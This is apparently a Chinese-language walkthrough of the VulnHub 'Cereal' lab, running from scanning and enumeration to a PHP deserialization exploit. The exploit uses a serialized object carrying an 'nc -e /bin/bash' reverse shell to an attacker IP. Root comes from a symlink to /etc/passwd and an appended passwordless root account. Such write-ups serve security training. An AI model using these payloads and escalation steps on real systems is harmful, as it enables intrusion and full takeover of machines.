一、靶机介绍

靶机地址:https://download.vulnhub.com/cereal/Cereal.ova

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息搜集
  • 路径枚举
  • 密码爆破
  • 域名解析
  • 匿名FTP
  • 子域名爆破
  • 源代码审计
  • 反序列化漏洞
  • 进程监视
  • 本地提权

二、主机发现

arp-scan -l

发现靶机地址为192.168.43.154

image-20240919133753015

三、端口扫描

nmap -p- 192.168.43.154 

发现这个靶机开放的端口较多

image-20240919134413939

nmap -p21,22,80,139,445,3306,11111,22222,22223,33333,44441,44444,55551,55555 -sC -sV  192.168.43.154

进一步进行扫描,在这里发现21端口可以匿名登录

44441和80端口一样,都是http服务,

3306不允许攻击机连接,其他11111什么的nmap扫描信息都是tcpwrapped,就是有防火墙拦截,利用不上

image-20240919134433558

image-20240919134459679

四、ftp匿名登录

nmap扫描得知ftp可以匿名登录

ftp 192.168.43.154 
anonymous

发现登录上后没有用什么有用的信息

image-20240919134643188

五、WEB页面信息搜集

5.1、disearch扫描

dirsearch -u "http://192.168.43.154" 

先默认扫描一下,发现存在几个目录

image-20240919135523349

发现bolg下有提示信息,大概内容是域名 cereal.ctf这个域名,存在备份文件

也告诉了我们这个网站使用Wordpress搭建的

image-20240919135559830

5.2、域名解析

将域名和靶机绑定一下

image-20240919140020585

使用域名访问网站,发现是一个新的页面,但是并没有什么有用的信息

image-20240919140009895

5.3、wpscan扫描

wpscan就是扫描Wordprss漏洞的黑盒子扫描器

wpscan --url http://192.168.43.154/blog/ --ignore-main-redirect --force -e --plugins-detection aggressive

这里扫描到的唯一信息就是告诉了用户名就是cereal,没有什么其他有用信息了

image-20240919140800193

5.4、dirbuster扫描

dirbuster也是一个目录扫描工具,就单纯记录一下,

image-20240919141444021

可以指定字典,线程数等

image-20240919141425900

5.5、44441端口扫描

image-20240919142850097

gobuster dir -u "http://cereal.ctf:44441/" -w /usr/share/wordlists/dirb/big.txt -x 

并没有什么有用的信息

image-20240919143045006

5.6、gobuster扫描扩展

常规文件扫描 
gobuster dir -u URL -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x txt,php,html,conf

可执行文件扫描
gobuster dir -u URL -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x js,aspx,cgi,sh,jsp

压缩包,备份扫描
gobuster dir -u URL -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x rar,zip,7z,tar.gz,bak,txt,old,temp

5.7、gobuster子域名爆破

使用DNS那个参数扫描太慢了,而且我跑到最后也没跑出来,于是使用了vhost这个参数

gobuster vhost -u http://cereal.ctf:44441 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --append-domain --timeout 60s --random-agent -q | grep "Status: 200"

爆破出来的子域名是secure.cereal.ctf

image-20240919144620849

将子域名绑定一下

image-20240919144817051

六、反序列化漏洞

将子域名绑定后,访问,看到一个ping的页面,我刚看到这个页面的时候,以为直接是个rce漏洞可以利用呢

image-20240919145043900

查看源代码,发现是个反序列化漏洞

image-20240919145112922

抓包查看一下

image-20240919145219898

将请求内容url解码一下,发现格式就是反序列化格式

image-20240919145328539

七、ffuf目录扫描

本来使用的gobuster扫描的,但是字典太大了半天不动一下,速度太慢了,于是换成ffuf

ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://secure.cereal.ctf:44441/FUZZ

扫了差不多10分钟,才扫到备份目录back_en

image-20240919151711888

对目录继续进行扫描,发现文件

dirsearch -u "http://secure.cereal.ctf:44441/back_en"

image-20240919153553664

点进去一看,页面有点混乱

image-20240919153431113

查看一下源代码,找的了序列化的源代码

image-20240919153706162

这个类具有三个属性 ipAddress 来自请求正文, isValid 确定输入是否有效以及随后发送的输出。默认情况下,isValid 的值为 False,因此从浏览器发送请求时,它都会进入 if 块。该块检查该值是否为 IP 地址。因此,当我们尝试注入命令时,它拒绝了输入,所以,如果我们在请求中发送值 True,则根本不会执行 if 块。然后,它会直接调用 ping 方法。PHP 的 shell_exec 函数,这个函数允许在服务器中执行命令。所以在这里写入反弹 shell:

对应payload php代码

<?php
class pingTest {
public $ipAddress = "127.0.0.1 & nc -e /bin/bash 192.168.43.130 5555";
public $isValid = True;
}
echo urlencode(serialize(new pingTest));
?>
php a.php 

image-20240919153848570

将生成的payload请求,发送到,反弹shell

image-20240919154050670

八、提权

靶机没有python环境

SHELL=bash script -q /dev/null		# 升级一下终端
cat /etc/passwd

发现只有一个用户rocky

image-20240919154422190

image-20240919154619272

8.1、pspy进程监视

GitHub - DominicBreuker/pspy:在没有 root 权限的情况下监控 Linux 进程

将软件传到靶机中

nc -lvnp 4444 > pspy64
nc 192.168.43.154 4444 < pspy64 -w 1
chmod +x pspy64 # 授予执行权限
./pspy64 # 执行

image-20240919155615735

image-20240919155622871

这个有定时任务的话,会一直刷新出来新的东西

image-20240919155813220

等了一会才能看到,发现存在一个shell脚本

image-20240919160439002

发现有读取权限,

cat /usr/share/scripts/chown.sh

脚本内容大概是:

是将 /home/rocky/public_html/* 目录下的所有文件所有者更改为当前用户,猜测若在该目录下创建一个 passwd 文件的链接文件,会导致脚本执行时将 passwd 文件的所有者一并更改为当前用户,从而获取对 passwd 文件的写入权限。

image-20240919161159953

ln -s /etc/passwd /home/rocky/public_html/passwd	# 软链接建立
echo "root1::0:0:root:/root:/bin/bash" >> /etc/passwd # 写一个root权限用户

vim直接编辑的话,由于交换界面是反弹shell得到的,所以会乱码,直接使用echo写入比较省事

写入后,直接su一下就可以了,这里新用户我没写密码

image-20240919162203610

参考:

Vulnhub 靶场 CEREAL: 1 - sainet - 博客园 (cnblogs.com)

[【Vulnhub 靶场】【CEREAL: 1】【困难】【20210529】 - “!+/((“^”~{`{|” - 博客园 (cnblogs.com)](https://www.cnblogs.com/NGC-2237/p/17863557.html)

【渗透测试】第十周 vulnhub-Cereal:1 | 可弟的杂货摊 (kekwy.com)